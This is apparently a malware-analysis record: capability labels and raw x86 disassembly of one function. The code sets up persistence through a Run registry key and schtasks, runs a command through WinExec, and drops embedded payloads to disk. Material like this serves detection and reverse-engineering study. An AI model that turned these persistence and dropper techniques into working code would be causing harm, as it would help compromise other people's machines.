Function at 0x412f48
Capabilities:
Create process on windows
Find taskbar
Persist via run registry key
Schedule task via schtasks
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 8
push 0
push 0
dec ecx
jne 0x412f50
push ecx
push ebx
push esi
push edi
mov eax, 0x412eb0
call fcn.00405674
xor eax, eax
push ebp
push 0x4132ed
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x412550]
call fcn.004125fc
mov ebx, eax
mov edx, 0x80000001
mov eax, ebx
call fcn.0041269c
mov cl, 1
mov edx, 0x413304
mov eax, ebx
call fcn.00412700
mov edx, 0x41333c
mov eax, ebx
call fcn.00412824
lea edx, [ebp - 0x14]
xor eax, eax
call fcn.004028dc
mov ecx, dword [ebp - 0x14]
mov edx, 0x41333c
mov eax, ebx
call fcn.00412844
mov eax, ebx
call fcn.0041266c
mov eax, ebx
call fcn.00402f90
call fcn.00412d0c
test al, al
jne 0x412ff5
push 0
push 0x1a3
push 0x111
push 0
push 0x413344
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_PostMessageA
call fcn.00412d0c
test al, al
jne 0x413034
jmp 0x41301e
push 0
push 0x1a3
push 0x111
push 0
push 0x413344
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_PostMessageA
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.004028dc
mov eax, dword [ebp - 0x18]
call fcn.00412d68
test al, al
je 0x413000
call fcn.00412d0c
test al, al
je 0x4132d2
mov dl, 1
mov eax, dword [0x412550]
call fcn.004125fc
mov ebx, eax
mov edx, 0x80000001
mov eax, ebx
call fcn.0041269c
mov cl, 1
mov edx, 0x413304
mov eax, ebx
call fcn.00412700
mov edx, 0x41333c
mov eax, ebx
call fcn.00412824
mov eax, ebx
call fcn.0041266c
mov eax, ebx
call fcn.00402f90
push 0
push 0x41335c
lea edx, [ebp - 0x20]
xor eax, eax
call fcn.004028dc
push dword [ebp - 0x20]
push 0x4133a4
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00403da0
mov eax, dword [ebp - 0x1c]
call fcn.00403ee0
push eax
call sub.kernel32.dll_WinExec
mov eax, 0x4248d0
mov edx, 0x4133b0
call fcn.00403a98
lea eax, [ebp - 0x24]
call fcn.00412bb8
mov eax, dword [ebp - 0x24]
mov edx, 0x4133bc
call fcn.00403e2c
jne 0x41322b
mov ebx, 1
lea edx, [ebp - 0x28]
mov eax, ebx
call fcn.00406a80
mov ecx, dword [ebp - 0x28]
mov eax, 0x4248cc
mov edx, 0x4133c8
call fcn.00403d2c
lea eax, [ebp - 0x2c]
mov ecx, 0x4133e4
mov edx, dword [0x4248cc]
call fcn.00403d2c
mov eax, dword [ebp - 0x2c]
call fcn.00406f2c
test al, al
je 0x413221
mov esi, 0x4153ac
mov edi, 0x4258d8
mov ecx, 0x3780
rep movsd dword es:[edi], dword [esi]
push 0
push 0
push 2
push 0
push 3
push 0x10000000
lea eax, [ebp - 0x30]
mov ecx, 0x4133e4
mov edx, dword [0x4248cc]
call fcn.00403d2c
mov eax, dword [ebp - 0x30]
call fcn.00403ee0
push eax
call sub.kernel32.dll_CreateFileA
mov esi, eax
push 0
push 0x4248d4
push 0xde00
push 0x4258d8
push esi
call sub.kernel32.dll_WriteFile_1
push esi
call sub.kernel32.dll_CloseHandle
lea eax, [ebp - 0x34]
mov ecx, 0x413404
mov edx, dword [0x4248cc]
call fcn.00403d2c
mov eax, dword [ebp - 0x34]
call fcn.00406f3c
lea eax, [ebp - 0x38]
mov ecx, 0x413430
mov edx, dword [0x4248cc]
call fcn.00403d2c
mov eax, dword [ebp - 0x38]
call fcn.00406f3c
lea eax, [ebp - 0x3c]
mov ecx, 0x413458
mov edx, dword [0x4248cc]
call fcn.00403d2c
mov eax, dword [ebp - 0x3c]
call fcn.00406f3c
mov eax, dword [0x4248d0]
mov edx, 0x413480
call fcn.00403e2c
jne 0x4131f1
mov eax, 6
call fcn.00412c60
mov eax, dword [0x4248d0]
mov edx, 0x41348c
call fcn.00403e2c
jne 0x41320c
mov eax, 6
call fcn.00412c60
mov eax, dword [0x4248d0]
mov edx, 0x413498
call fcn.00403e2c
je 0x4132d2
inc ebx
cmp ebx, 0x11
jne 0x4130e6
lea eax, [ebp - 0x40]
call fcn.00412bb8
mov eax, dword [ebp - 0x40]
mov edx, 0x4134a4
call fcn.00403e2c
jne 0x4132d2
mov esi, 0x4143ac
mov edi, 0x4248d8
mov ecx, 0x400
rep movsd dword es:[edi], dword [esi]
push 0
push 0
push 3
push 0
push 3
push 0x10000000
push 0x4134a8
call sub.kernel32.dll_CreateFileA
mov esi, eax
push 0
push 0x4248d4
push 0x1000
push 0x4248d8
push esi
call sub.kernel32.dll_WriteFile_1
push esi
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x4248d0]
mov edx, 0x413480
call fcn.00403e2c
jne 0x4132a8
lea eax, [ebp - 0x44]
call fcn.00412df4
mov eax, dword [0x4248d0]
mov edx, 0x41348c
call fcn.00403e2c
jne 0x4132c3
mov eax, 6
call fcn.00412c60
mov eax, dword [0x4248d0]
mov edx, 0x413498
call fcn.00403e2c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4132f4
lea eax, [ebp - 0x44]
mov edx, 0xd
call fcn.00403a68
ret